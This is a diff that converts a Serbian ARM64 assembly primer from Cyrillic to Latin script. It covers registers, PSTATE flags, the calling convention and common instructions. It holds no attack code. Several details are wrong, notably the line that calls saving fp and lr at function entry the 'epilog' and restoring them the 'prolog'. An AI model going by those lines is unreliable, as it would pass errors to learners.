+ARM64 ima **31 registra opšte namene**, označenih `x0` kroz `x30`. Svaki može da skladišti **64-bitnu** (8-bajtnu) vrednost. Za operacije koje zahtevaju samo 32 bita, isti registri se mogu pristupiti u 32-bit modu koristeći imena `w0` kroz `w30`.
 
-1. **`x0`** до **`x7`** - Ови се обично користе као регистри за привремене податке и за пренос параметара у подпрограме.
-- **`x0`** такође носи повратне податке функције
-2. **`x8`** - У Линукс језгру, `x8` се користи као број системског позива за `svc` инструкцију. **У macOS, x16 је тај који се користи!**
-3. **`x9`** до **`x15`** - Више привремених регистара, често се користе за локалне променљиве.
-4. **`x16`** и **`x17`** - **Регистри за позиве унутар процедура**. Привремени регистри за одмах вредности. Такође се користе за индиректне позиве функција и PLT (Табела повезивања процедура).
-- **`x16`** се користи као **број системског позива** за **`svc`** инструкцију у **macOS**.
-5. **`x18`** - **Регистар платформе**. Може се користити као регистар опште намене, али на неким платформама, овај регистар је резервисан за специфичне употребе платформе: Показивач на блок окружења тренутне нит у Виндовсу, или да укаже на тренутну **структуру извршавања задатка у језгру линукса**.
-6. **`x19`** до **`x28`** - Ово су регистри које чува позвана функција. Функција мора да сачува вредности ових регистара за свог позиваоца, тако да се чувају на стеку и опорављају пре него што се врати позиваоцу.
-7. **`x29`** - **Показивач оквира** за праћење оквира стека. Када се креира нови оквир стека јер је функција позвана, **`x29`** регистар се **чува на стеку** и **нови** адреса показивача оквира (**`sp`** адреса) се **чува у овом регистру**.
-- Овај регистар се такође може користити као **регистар опште намене** иако се обично користи као референца за **локалне променљиве**.
-8. **`x30`** или **`lr`**- **Регистар за повратак**. Држи **адресу повратка** када се извршава `BL` (Грант са повратком) или `BLR` (Грант са повратком у регистар) инструкција чувајући **`pc`** вредност у овом регистру.
-- Може се користити и као било који други регистар.
-- Ако тренутна функција позива нову функцију и стога преоптерећује `lr`, чуваће је на стеку на почетку, ово је епилог (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Сачувај `fp` и `lr`, генериши простор и добиј нови `fp`) и опоравиће је на крају, ово је пролог (`ldp x29, x30, [sp], #48; ret` -> Опорави `fp` и `lr` и врати се).
-9. **`sp`** - **Показивач стека**, користи се за праћење врха стека.
-- Вредност **`sp`** треба увек да буде одржавана на најмање **квадричном** **положају** или може доћи до изузећа у поравнању.
-10. **`pc`** - **Број програма**, који указује на следећу инструкцију. Овај регистар може бити ажуриран само кроз генерисање изузећа, повратке изузећа и гране. Једине обичне инструкције које могу читати овај регистар су инструкције гране са повратком (BL, BLR) да чувају **`pc`** адресу у **`lr`** (Регистар за повратак).
-11. **`xzr`** - **Нулти регистар**. Такође се зове **`wzr`** у свом **32**-битном регистарном облику. Може се користити за лако добијање нулте вредности (обична операција) или за извршавање поређења користећи **`subs`** као **`subs XZR, Xn, #10`** чувајући резултујуће податке нигде (у **`xzr`**).
+1. **`x0`** do **`x7`** - Obično se koriste kao privremeni (scratch) registri i za prosleđivanje parametara funkcijama.
+- **`x0`** takođe nosi povratne podatke funkcije
+2. **`x8`** - U Linux kernelu, `x8` se koristi kao broj sistemskog poziva za `svc` instrukciju. **U macOS-u se koristi x16!**
+3. **`x9`** do **`x15`** - Više privremenih registara, često korišćeni za lokalne promenljive.
+4. **`x16`** i **`x17`** - **Intra-procedural Call Registers**. Privremeni registri za neposredne vrednosti. Takođe se koriste za indirektne pozive funkcija i PLT stub-ove.
+- **`x16`** se koristi kao **broj sistemskog poziva** za **`svc`** instrukciju u **macOS**.
+5. **`x18`** - **Platform register**. Može biti korišćen kao registar opšte namene, ali na nekim platformama ovaj registar je rezervisan za platformno-specifične svrhe: pokazivač na trenutni thread environment block u Windows-u, ili pokazivač na trenutno **executing task structure in linux kernel**.
+6. **`x19`** do **`x28`** - Ovo su callee-saved registri. Funkcija mora sačuvati vrednosti ovih registara za svog pozivaoca, pa se oni smestе na stek i vraćaju pre povratka pozivaocu.
+7. **`x29`** - **Frame pointer** za praćenje stack frame-a. Kada se kreira novi stack frame prilikom poziva funkcije, sadržaj **`x29`** se **smešta na stek** i adresa novog frame pointer-a (adresa **`sp`**) se **smešta u ovaj registar**.
+- Ovaj registar se može koristiti i kao registar opšte namene, iako se obično koristi kao referenca za **lokalne promenljive**.
+8. **`x30`** ili **`lr`** - **Link register**. Drži **adresu povratka** kada se izvrši `BL` (Branch with Link) ili `BLR` (Branch with Link to Register) instrukcija, tako što se vrednost **`pc`** skladišti u ovaj registar.
+- Može se koristiti i kao bilo koji drugi registar.
+- Ako trenutna funkcija poziva novu funkciju i time prepisuje `lr`, ona će ga smestiti na stek na početku — to je epilog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Store `fp` and `lr`, generate space and get new `fp`) i vratiti ga na kraju — to je prolog (`ldp x29, x30, [sp], #48; ret` -> Recover `fp` and `lr` and return).
+9. **`sp`** - **Stack pointer**, koristi se za praćenje vrha steka.
+- vrednost **`sp`** uvek treba da bude poravnata na najmanje **quadword** ili može doći do izuzetka poravnanja.
+10. **`pc`** - **Program counter**, pokazuje na sledeću instrukciju. Ovaj registar se može ažurirati samo kroz generisanje izuzetaka, povratke iz izuzetaka i grane. Jedine obične instrukcije koje mogu čitati ovaj registar su branch with link instrukcije (BL, BLR) koje skladište adresu **`pc`** u **`lr`** (Link Register).
+11. **`xzr`** - **Zero register**. Takođe se zove **`wzr`** u svojoj **32**-bitnoj formi. Može se koristiti da lako dobije vrednost nula (česta operacija) ili da se izvrše poređenja koristeći **`subs`** kao **`subs XZR, Xn, #10`** pri čemu rezultat nije nigde smešten (u **`xzr`**).
 
-Регистри **`Wn`** су **32-битна** верзија регистара **`Xn`**.
+Registarski oblik **`Wn`** su **32-bitna** verzija **`Xn`** registra.
 
-### SIMD и Флоатинг-Поинт Регистри
+> [!TIP]
+> Registri od `X0` do `X18` su volatilni, što znači da njihove vrednosti mogu biti promenjene pozivima funkcija i prekinućima. Međutim, registri od `X19` do `X28` su ne-volatilni, što znači da njihove vrednosti moraju biti sačuvane preko poziva funkcija ("callee saved").
 
-Штавише, постоји још **32 регистра дужине 128бит** који се могу користити у оптимизованим операцијама једне инструкције више података (SIMD) и за извршавање флоатинг-поинт аритметике. Ови се зову Vn регистри иако могу радити и у **64**-битном, **32**-битном, **16**-битном и **8**-битном режиму и тада се зову **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** и **`Bn`**.
+### SIMD i floating-point registri
 
-### Системски Регистри
+Pored toga, postoji još **32 registra dužine 128 bitova** koji se mogu koristiti u optimizovanim single instruction multiple data (SIMD) operacijama i za izvođenje floating-point aritmetike. Oni se nazivaju Vn registri i mogu takođe raditi u **64**-bitnom, **32**-bitnom, **16**-bitnom i **8**-bitnom režimu, kada se onda zovu **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** i **`Bn`**.
 
-**Постоје стотине системских регистара**, такође познатих као регистри специјалне намене (SPRs), који се користе за **праћење** и **контролу** **понашања** **процесора**.\
-Могу се читати или постављати само користећи посебне инструкције **`mrs`** и **`msr`**.
+### Sistemski registri
 
-Посебни регистри **`TPIDR_EL0`** и **`TPIDDR_EL0`** се често налазе током реверзног инжењеринга. Суфикс `EL0` указује на **минимално изузеће** из ког се регистар може приступити (у овом случају EL0 је редовно изузеће (привилегија) ниво редовних програма).\
-Често се користе за чување **основне адресе региона локалне меморије**. Обично је први читљив и записив за програме који раде у EL0, али други се може читати из EL0 и писати из EL1 (као језгро).
+**Postoje stotine sistemskih registara**, takođe zvanih special-purpose registri (SPRs), koji se koriste za **monitoring** i **kontrolu** ponašanja procesora.\
+Mogu se čitati ili postavljati samo pomoću posebnih instrukcija **`mrs`** i **`msr`**.
 
-- `mrs x0, TPIDR_EL0 ; Читај TPIDR_EL0 у x0`
-- `msr TPIDR_EL0, X0 ; Запиши x0 у TPIDR_EL0`
+Specijalni registri **`TPIDR_EL0`** i **`TPIDDR_EL0`** se često pojavljuju pri reverse engineering-u. Sufiks `EL0` označava **minimalni nivo izuzetka** sa kojeg se registar može pristupiti (u ovom slučaju EL0 je regularni nivo privilegija na kojem obični programi rade).\
+Često se koriste za skladištenje **osnovne adrese thread-local storage region-a** u memoriji. Obično je prvi čitljiv i upisiv za programe koji rade u EL0, dok se drugi može čitati iz EL0 i pisati iz EL1 (npr. kernel).
+
+- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0`
+- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0`
 
 ### **PSTATE**
 
-**PSTATE** садржи неколико компоненти процеса серијализованих у регистру **`SPSR_ELx`** видљивом за оперативни систем, где је X **ниво** **дозволе** **изазваног** изузећа (ово омогућава опоравак стања процеса када изузеће заврши).\
-Ово су доступна поља:
+**PSTATE** sadrži nekoliko komponenti procesa serijalizovanih u operativnom sistemu vidljivom **`SPSR_ELx`** specijalnom registru, gde X označava **nivo privilegija** izuzetka koji je izazvan (ovo omogućava vraćanje stanja procesa kada izuzetak završi).\
+Ovo su dostupna polja:
 
 <figure><img src="../../../images/image (1196).png" alt=""><figcaption></figcaption></figure>
 
-- **`N`**, **`Z`**, **`C`** и **`V`** условне заставице:
-- **`N`** значи да је операција дала негативан резултат
-- **`Z`** значи да је операција дала нулу
-- **`C`** значи да је операција пренела
-- **`V`** значи да је операција дала потписано преливање:
-- Збир два позитивна броја даје негативан резултат.
-- Збир два негативна броја даје позитиван резултат.
-- У одузимању, када се велики негативан број одузме од мањег позитивног броја (или обрнуто), а резултат не може бити представљен у опсегу дате величине бита.
-- Очигледно, процесор не зна да ли је операција потписана или не, па ће проверити C и V у операцијама и указати да ли је дошло до преноса у случају да је била потписана или непотписана.
+- Condition flag-ovi **`N`**, **`Z`**, **`C`** i **`V`**:
+- **`N`** znači da je operacija dala negativan rezultat
+- **`Z`** znači da je operacija dala nulu
+- **`C`** znači da je operacija imala carry
+- **`V`** znači da je operacija imala signed overflow:
+- Zbir dva pozitivna broja daje negativan rezultat.
+- Zbir dva negativna broja daje pozitivan rezultat.
+- U oduzimanju, kada se veliki negativan broj oduzme od manjeg pozitivnog (ili obrnuto), i rezultat se ne može predstaviti unutar opsega datog broja bitova.
+- Procesor ne zna da li je operacija potpisana ili ne, pa proverava C i V kod operacija i signalizuje ako je došlo do carry-a u kontekstu signed/unsigned operacija.
 
 > [!WARNING]
-> Нису све инструкције ажурирале ове заставице. Неке као **`CMP`** или **`TST`** то раде, а друге које имају s суфикс као **`ADDS`** такође то раде.
+> Neće sve instrukcije ažurirati ove flag-ove. Neke poput **`CMP`** ili **`TST`** hoće, a druge koje imaju sufiks `s` kao **`ADDS`** takođe ih ažuriraju.
 
-- Тренутна **заставица ширине регистра (`nRW`)**: Ако застава држи вредност 0, програм ће се извршавати у AArch64 извршном стању када се поново покрене.
-- Тренутни **Ниво изузећа** (**`EL`**): Редован програм који ради у EL0 имаће вредност 0
-- **Заставица појединачног корака** (**`SS`**): Користи се од стране дебагера за појединачно корачање постављајући SS заставицу на 1 унутар **`SPSR_ELx`** кроз изузеће. Програм ће извршити корак и изазвати изузеће појединачног корака.
-- Заставица **недозвољеног изузећа** (**`IL`**): Користи се за означавање када привилегисани софтвер изврши неважећи пренос нивоа изузећа, ова застава се поставља на 1 и процесор покреће изузеће недозвољеног стања.
-- Заставице **`DAIF`**: Ове заставице омогућавају привилегисаном програму да селективно маскира одређена спољна изузећа.
-- Ако је **`A`** 1, то значи да ће бити покренути **асинхрони прекиди**. **`I`** конфигурише да реагује на спољне захтеве за прекид хардвера (IRQ). и F је повезан са **Брзим захтевима за прекид** (FIR).
-- Заставице **избора показивача стека** (**`SPS`**): Привилегисани програми који раде у EL1 и изнад могу да прелазе између коришћења свог регистара показивача стека и корисничког модела (нпр. између `SP_EL1` и `EL0`). Ова прелазак се изводи писањем у посебни регистар **`SPSel`**. Ово не може бити учињено из EL0.
+- Trenutni **flag širine registra (`nRW`)**: Ako flag drži vrednost 0, program će se izvršavati u AArch64 execution state nakon povratka.
+- Trenutni **Exception Level** (**`EL`**): Regularan program koji radi u EL0 ima vrednost 0
+- **Single stepping** flag (**`SS`**): Koriste debugeri za single-step izvršavanje postavljanjem SS na 1 unutar **`SPSR_ELx`** kroz izuzetak. Program izvrši jedan korak i izazove single-step izuzetak.
+- **Illegal exception** state flag (**`IL`**): Koristi se da označi kada privileged softver izvrši nevaljan transfer između nivoa izuzetaka; taj flag se postavlja na 1 i procesor pokreće illegal state izuzetak.
+- **`DAIF`** flag-ovi: Ovi flag-ovi omogućavaju privilegovanom programu selektivno maskiranje određenih eksternih izuzetaka.
+- Ako je **`A`** 1, to znači da će se trigirati **asynchronous aborts**. **`I`** konfiguriše odgovor na eksterni hardverski **Interrupt Requests** (IRQ). `F` je vezan za **Fast Interrupt Requests** (FIRs).
+- **Stack pointer select** flag-ovi (**`SPS`**): Privilegovani programi koji rade u EL1 i iznad mogu menjati između korišćenja sopstvenog stack pointer registra i user-mode jednog (npr. između `SP_EL1` i `EL0`). Ova zamena se vrši upisom u specijalni registar **`SPSel`**. Ovo se ne može uraditi iz EL0.
 
-## **Конвенција Позивања (ARM64v8)**
+## **Konvencija poziva (ARM64v8)**
 
-ARM64 конвенција позивања спецификује да се **првих осам параметара** функцији преноси у регистрима **`x0` до `x7`**. **Додатни** параметри се преносе на **стеку**. **Вредност** повратка се враћа у регистар **`x0`**, или у **`x1`** такође **ако је 128 битна**. Регистри **`x19`** до **`x30`** и **`sp`** морају бити **очувани** током позива функција.
+ARM64 calling convention navodi da se **prvih osam parametara** funkcije prosleđuje u registrima **`x0`** kroz **`x7`**. **Dodatni** parametri se prosleđuju na **stek**. Vrednost koju funkcija vraća se prosleđuje u registru **`x0`**, ili i u **`x1`** ako je **128 bita dugačka**. Registri **`x19`** do **`x30`** i **`sp`** moraju biti **sačuvani** preko poziva funkcija.
 
-Када читате функцију у асемблеру, потражите **пролог и епилог функције**. **Пролог** обично укључује **чување показивача оквира (`x29`)**, **постављање** новог **показивача оквира**, и **алокацију простора на стеку**. **Епилог** обично укључује **обнављање сачуваног показивача оквира** и **враћање** из функције.
+Prilikom čitanja funkcije u asembleru, tražite **function prologue i epilogue**. **Prologue** obično uključuje **čuvanje frame pointer-a (`x29`)**, **postavljanje novog frame pointer-a** i **alokaciju prostora na steku**. **Epilogue** obično uključuje **vraćanje sačuvanog frame pointer-a** i **povratak** iz funkcije.
 
-### Конвенција Позивања у Swift
+### Calling Convention u Swift
 
-Swift има своју **конвенцију позивања** која се може наћи у [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
+Swift ima sopstvenu **calling convention** koja se može naći na [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64)
 
-## **Уобичајене Инструкције (ARM64v8)**
+## **Uobičajene instrukcije (ARM64v8)**
 
-ARM64 инструкције генерално имају **формат `opcode dst, src1, src2`**, где је **`opcode`** **операција** која треба да се изврши (као што су `add`, `sub`, `mov`, итд.), **`dst`** је **одредишни** регистар у који ће бити сачуван резултат, а **`src1`** и **`src2`** су **изворни** регистри. Одмах вредности се такође могу користити уместо изворних регистара.
+ARM64 instrukcije generalno imaju **format `opcode dst, src1, src2`**, gde je **`opcode`** operacija koja će biti izvršena (npr. `add`, `sub`, `mov`, itd.), **`dst`** je registar destinacije gde će rezultat biti smešten, a **`src1`** i **`src2`** su registarski operandi. Takođe je moguće koristiti immediate vrednosti umesto registara.
 
-- **`mov`**: **Премести** вредност из једног **регистра** у други.
-- Пример: `mov x0, x1` — Ово премешта вредност из `x1` у `x0`.
-- **`ldr`**: **Учитај** вредност из **меморије** у **регистар**.
-- Пример: `ldr x0, [x1]` — Ово учитава вредност из меморијске локације на коју указује `x1` у `x0`.
-- **Режим офсет**: Офсет који утиче на оригинални показивач је назначен, на пример:
-- `ldr x2, [x1, #8]`, ово ће учитати у x2 вредност из x1 + 8
-- `ldr x2, [x0, x1, lsl #2]`, ово ће учитати у x2 објекат из низа x0, из позиције x1 (индекс) \* 4
-- **Режим пред-индикатора**: Ово ће применити израчунавања на оригинал, добити резултат и такође сачувати нови оригинал у оригиналу.
-- `ldr x2, [x1, #8]!`, ово ће учитати `x1 + 8` у `x2` и сачувати у x1 резултат `x1 + 8`
-- `str lr, [sp, #-4]!`, Сачувај регистар за повратак у sp и ажурирај регистар sp
-- **Режим пост-индикатора**: Ово је као претходни, али се меморијска адреса приступа и затим се офсет израчунава и чува.
-- `ldr x0, [x1], #8`, учитај `x1` у `x0` и ажурирај x1 са `x1 + 8`
-- **PC-релативно адресирање**: У овом случају адреса за учитавање се израчунава релативно на PC регистар
-- `ldr x1, =_start`, Ово ће учитати адресу где симбол `_start` почиње у x1 у односу на тренутни PC.
-- **`str`**: **Сачувај** вредност из **регистра** у **меморију**.
-- Пример: `str x0, [x1]` — Ово чува вредност у `x0` у меморијској локацији на коју указује `x1`.
-- **`ldp`**: **Учитај пар регистара**. Ова инструкција **учитава два регистра** из **узастопних меморијских** локација. Меморијска адреса се обично формира додавањем офсета вредности у другом регистру.
-- Пример: `ldp x0, x1, [x2]` — Ово учитава `x0` и `x1` из меморијских локација на `x2` и `x2 + 8`, респективно.
-- **`stp`**: **Сачувај пар регистара**. Ова инструкција **сачува два регистра** у **узастопне меморијске** локације. Меморијска адреса се обично формира додавањем офсета вредности у другом регистру.
-- Пример: `stp x0, x1, [sp]` — Ово чува `x0` и `x1` у меморијским локацијама на `sp` и `sp + 8`, респективно.
-- `stp x0, x1, [sp, #16]!` — Ово чува `x0` и `x1` у меморијским локацијама на `sp+16` и `sp + 24`, респективно, и ажурира `sp` са `sp+16`.
-- **`add`**: **Додај** вредности два регистра и сачувај резултат у регистру.
-- Синтакса: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
-- Xn1 -> Одредиште
-- Xn2 -> Операнд 1
-- Xn3 | #imm -> Операнд 2 (регистар или одмах)
-- \[shift #N | RRX] -> Изврши померање или позови RRX
-- Пример: `add x0, x1, x2` — Ово додаје вредности у `x1` и `x2` и чува резултат у `x0`.
-- `add x5, x5, #1, lsl #12` — Ово је једнако 4096 (1 померач 12 пута) -> 1 0000 0000 0000 0000
-- **`adds`** Ово извршава `add` и ажурира заставице
-- **`sub`**: **Одузми** вредности два регистра и сачувај резултат у регистру.
-- Проверите **`add`** **синтаксу**.
-- Пример: `sub x0, x1, x2` — Ово одузима вредност у `x2` од `x1` и чува резултат у `x0`.
-- **`subs`** Ово је као sub али ажурира заставицу
-- **`mul`**: **Множење** вредности **две регистре** и чува резултат у регистру.
-- Пример: `mul x0, x1, x2` — Ово множење вредности у `x1` и `x2` и чува резултат у `x0`.
-- **`div`**: **Дели** вредност једног регистра са другим и чува резултат у регистру.
-- Пример: `div x0, x1, x2` — Ово дели вредност у `x1` са `x2` и чува резултат у `x0`.
+- **`mov`**: **Premesti** vrednost iz jednog **registra** u drugi.
+- Primer: `mov x0, x1` — Premesti vrednost iz `x1` u `x0`.
+- **`ldr`**: **Učitaj** vrednost iz **memorije** u **registar**.
+- Primer: `ldr x0, [x1]` — Učita vrednost sa memorijske lokacije na koju pokazuje `x1` u `x0`.
+- **Offset mode**: Offset koji utiče na origin pointer je naznačen, na primer:
+- `ldr x2, [x1, #8]`, ovo će učitati u x2 vrednost sa adrese x1 + 8
+- `ldr x2, [x0, x1, lsl #2]`, ovo će učitati u x2 objekat iz niza x0, sa pozicije x1 (index) * 4
+- **Pre-indexed mode**: Ovo će primeniti računanje na origin, dobiti rezultat i takođe ažurirati origin sa rezultatom.
+- `ldr x2, [x1, #8]!`, ovo će učitati `x1 + 8` u `x2` i sačuvati u x1 rezultat `x1 + 8`
+- `str lr, [sp, #-4]!`, Smešta link register u sp i ažurira registar sp
+- **Post-index mode**: Ovo je kao prethodno, ali se adresa memorije pristupi prvo, a zatim se offset izračuna i sačuva.
+- `ldr x0, [x1], #8`, učitaj iz `x1` u `x0` i ažuriraj x1 sa `x1 + 8`
+- **PC-relativno adresiranje**: U ovom slučaju adresa za učitavanje se izračunava relativno u odnosu na PC registar
+- `ldr x1, =_start`, Ovo će učitati adresu gde simbol `_start` počinje u x1 u odnosu na trenutni PC.
+- **`str`**: **Smeštanje** vrednosti iz **registra** u **memoriju**.
+- Primer: `str x0, [x1]` — Smešta vrednost iz `x0` u memorijsku lokaciju na koju pokazuje `x1`.
+- **`ldp`**: **Load Pair of Registers**. Ova instrukcija **učitava dva registra** iz **uzastopnih memorijskih lokacija**. Memorijska adresa se obično formira dodavanjem offset-a vrednosti u drugom registru.
+- Primer: `ldp x0, x1, [x2]` — Učitava `x0` i `x1` sa memorijskih lokacija na `x2` i `x2 + 8`.
+- **`stp`**: **Store Pair of Registers**. Ova instrukcija **smešta dva registra** u **uzastopne memorijske lokacije**.
+- Primer: `stp x0, x1, [sp]` — Smešta `x0` i `x1` na lokacije `sp` i `sp + 8`.
+- `stp x0, x1, [sp, #16]!` — Smešta `x0` i `x1` na lokacije `sp+16` i `sp + 24`, i ažurira `sp` na `sp+16`.
+- **`add`**: **Saberi** vrednosti dva registra i smesti rezultat u registar.
+- Sintaksa: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
+- Xn1 -> Destination
+- Xn2 -> Operand 1
+- Xn3 | #imm -> Operand 2 (registar ili immediate)
+- \[shift #N | RRX] -> Izvrši shift ili RRX
+- Primer: `add x0, x1, x2` — Sabira vrednosti u `x1` i `x2` i smešta rezultat u `x0`.
+- `add x5, x5, #1, lsl #12` — Ovo je jednako 4096 (1 shiftovan 12 puta) -> 1 0000 0000 0000 0000
+- **`adds`**: Izvršava `add` i ažurira flag-ove
+- **`sub`**: **Oduzmi** vrednosti dva registra i smesti rezultat u registar.
+- Pogledajte **`add`** **sintaksu**.
+- Primer: `sub x0, x1, x2` — Oduzima vrednost u `x2` od `x1` i smešta rezultat u `x0`.
+- **`subs`**: Kao `sub`, ali ažurira flag-ove
+- **`mul`**: **Množenje** vrednosti dva registra i smeštanje rezultata u registar.
+- Primer: `mul x0, x1, x2` — Množi vrednosti u `x1` i `x2` i smešta rezultat u `x0`.
+- **`div`**: **Deljenje** vrednosti jednog registra drugim i smeštanje rezultata u registar.
+- Primer: `div x0, x1, x2` — Deli vrednost u `x1` sa `x2` i smešta rezultat u `x0`.
 - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**:
-- **Логичко померање налево**: Додајте 0 из краја померајући остале битове напред (множите са n-пута 2)
-- **Логичко померање надесно**: Додајте 1 на почетку померајући остале битове уназад (делите са n-пута 2 у непотписаним)
-- **Аритметичко померање надесно**: Као **`lsr`**, али уместо додавања 0, ако је најзначајнији бит 1, **додају се 1** (делите са n-пута 2 у потписаним)
-- **Померите десно**: Као **`lsr`** али шта год да се уклони с десне стране, додаје се с леве
-- **Померите десно са проширењем**: Као **`ror`**, али са заставицом преноса као "најзначајнији бит". Дакле, застава преноса се помера на бит 31 и уклоњени бит у заставу преноса.
-- **`bfm`**: **Премештање битова**, ове операције **копирају битове `0...n`** из вредности и стављају их у позиције **`m..m+n`**. **`#s`** одређује **леву најзначајнију позицију** и **`#r`** количину **померања десно**.
-- Премештање битова: `BFM Xd, Xn, #r`
-- Потписано премештање битова: `SBFM Xd, Xn, #r, #s`
-- Непотписано премештање битова: `UBFM Xd, Xn, #r, #s`
-- **Извлачење и уметање битова:** Копира битно поље из регистра и копира га у други регистар.
-- **`BFI X1, X2, #3, #4`** Уметни 4 бита из X2 из 3. бита X1
-- **`BFXIL X1, X2, #3, #4`** Извлачи из 3. бита X2 четири бита и копира их у X1
-- **`SBFIZ X1, X2, #3, #4`** Потписује 4 бита из X2 и уметне их у X1 почињући на позицији бита 3 нулирајући десне битове
-- **`SBFX X1, X2, #3, #4`** Извлачи 4 бита почињући на 3. бита из X2, потписује их и ставља резултат у X1
-- **`UBFIZ X1, X2, #3, #4`** Нулира 4 бита из X2 и уметне их у X1 почињући на позицији бита 3 нулирајући десне битове
-- **`UBFX X1, X2, #3, #4`** Извлачи 4 бита почињући на 3. бита из X2 и ставља нулирано проширени резултат у X1.
-- **Проширење знака у X:** Проширење знака (или само додавање 0 у непотписаној верзији) вредности да би се могле извршавати операције с њом:
-- **`SXTB X1, W2`** Проширење знака байта **из W2 у X1** (`W2` је половина `X2`) да попуни 64 бита
-- **`SXTH X1, W2`** Проширење знака 16-битног броја **из W2 у X1** да попуни 64 бита
-- **`SXTW X1, W2`** Проширење знака байта **из W2 у X1** да попуни 64 бита
-- **`UXTB X1, W2`** Додаје 0 (непотписано) на байт **из W2 у X1** да попуни 64 бита
-- **`extr`:** Извлачи битове из одређеног **пара регистара конкатенисаних**.
-- Пример: `EXTR W3, W2, W1, #3` Ово ће **конкатенисати W1+W2** и добити **од бита 3 W2 до бита 3 W1** и сачувати у W3.
-- **`cmp`**: **Поређење** два регистра и постављање условних заставица. То је **алиас `subs`** постављајући регистар одредишта на нулти регистар. Корисно за проверу да ли је `m == n`.
-- Подржава **исту синтаксу као `subs`**
-- Пример: `cmp x0, x1` — Ово пореди вредности у `x0` и `x1` и поставља условне заставице у складу с тим.
-- **`cmn`**: **Поређење негативног** операнда. У овом случају је **алиас `adds`** и подржава исту синтаксу. Корисно за проверу да ли је `m == -n`.
-- **`ccmp`**: Условно поређење, то је поређење које ће бити извршено само ако је претходно поређење било тачно и конкретно ће поставити nzcv битове.
-- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> ако x1 != x2 и x3 < x4, скочи на func
-- Ово је зато што ће **`ccmp`** бити извршено само ако је **претходни `cmp` био `NE`**, ако није, битови `nzcv` ће бити постављени на 0 (што неће задовољити `blt` поређење).
-- Ово се може користити и као `ccmn` (исто али негативно, као `cmp` против `cmn`).
-- **`tst`**: Проверава да ли су било које од вредности поређења обе 1 (ради као ANDS без чувања резултата било где). Корисно је проверити регистар са вредношћу и проверити да ли је било који од битова регистра назначених у вредности 1.
-- Пример: `tst X1, #7` Проверава да ли је било који од последња 3 бита X1 1
-- **`teq`**: XOR операција без чувања резултата
-- **`b`**: Непосредна грана
-- Пример: `b myFunction`
-- Имајте на уму да ово неће попунити регистар за повратак са адресом повратка (није прикладно за позиве подпрограма који треба да се врате)
-- **`bl`**: **Грана** са повратком, користи се за **позивање** **подпрограма**. Чува **адресу повратка у `x30`**.
-- Пример: `bl myFunction` — Ово позива функцију `myFunction` и чува адресу повратка у `x30`.
-- Имајте на уму да ово неће попунити регистар за повратак са адресом повратка (није прикладно за позиве подпрограма који треба да се врате)
-- **`blr`**: **Грана** са повратком у регистар, користи се за **позивање** **подпрограма** где је циљ **наведен** у **регистру**. Чува адресу повратка у `x30`. (Ово је
-- Пример: `blr x1` — Ово позива функцију чија адреса се налази у `x1` и чува адресу повратка у `x30`.
-- **`ret`**: **Врати се** из **подпрограма**, обично користећи адресу у **`x30`**.
-- Пример: `ret` — Ово се враћа из тренутног подпрограма користећи адресу повратка у `x30`.
-- **`b.<cond>`**: Условне гране
-- **`b.eq`**: **Грана ако је једнако**, на основу претходне `cmp` инструкције.
-- Пример: `b.eq label` — Ако је претходна `cmp` инструкција пронашла две једнаке вредности, ово скочи на `label`.
-- **`b.ne`**: **Грана ако није једнако**. Ова инструкција проверава условне заставице (које су постављене претходном инструкцијом поређења), и ако упоређиване вредности нису једнаке, грани на ознаку или адресу.
-- Пример: Након `cmp x0, x1` инструкције, `b.ne label` — Ако вредности у `x0` и `x1` нису једнаке, ово скочи на `label`.
-- **`cbz`**: **Поређење и гранање на нулу**. Ова инструкција пореди регистар са нулом, и ако су једнаке, грани на ознаку или адресу.
-- Пример: `cbz x0, label` — Ако је вредност у `x0` нула, ово скочи на `label`.
-- **`cbnz`**: **Поређење и гранање на ненуло**. Ова инструкција пореди регистар са нулом, и ако нису једнаке, грани на ознаку или адресу.
-- Пример: `cbnz x0, label` — Ако је вредност у `x0` ненула, ово скочи на `label`.
-- **`tbnz`**: Тестирај бит и гранај на ненуло
-- Пример: `tbnz x0, #8, label`
-- **`tbz`**: Тестирај бит и гранај на нулу
-- Пример: `tbz x0, #8, label`
-- **Условне операције избора**: Ове операције чије се понашање разликује у зависности од условних битова.
-- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Ако је тачно, X0 = X1, ако није, X0 = X2
-- `csinc Xd, Xn, Xm, cond` -> Ако је тачно, Xd = Xn, ако није, Xd = Xm + 1
-- `cinc Xd, Xn, cond` -> Ако је тачно, Xd = Xn + 1, ако није, Xd = Xn
-- `csinv Xd, Xn, Xm, cond` -> Ако је тачно, Xd = Xn, ако није, Xd = NOT(Xm)
-- `cinv Xd, Xn, cond` -> Ако је тачно, Xd = NOT(Xn), ако није, Xd = Xn
-- `csneg Xd, Xn, Xm, cond` -> Ако је тачно, Xd = Xn, ако није, Xd = - Xm
-- `cneg Xd, Xn, cond` -> Ако је тачно, Xd = - Xn, ако није, Xd = Xn
-- `cset Xd, Xn, Xm, cond` -> Ако је тачно, Xd = 1, ако није, Xd = 0
-- `csetm Xd, Xn, Xm, cond` -> Ако је тачно, Xd = \<сви 1>, ако није, Xd = 0
-- **`adrp`**: Израчунајте **адресу странице симбола** и сачувајте је у регистру.
-- Пример: `adrp x0, symbol` — Ово израчунава адресу странице симбола `symbol` и чува је у `x0`.
-- **`ldrsw`**: **Учитајте** потписану **32-битну** вредност из меморије и **потписно проширите на 64** бита.
-- Пример: `ldrsw x0, [x1]` — Ово учитава потписану 32-битну вредност из меморијске локације на коју указује `x1`, потписно је проширује на 64 бита и чува у `x0`.
-- **`stur`**: **Сачувајте вредност регистра на меморијску локацију**, користећи офсет из другог регистра.
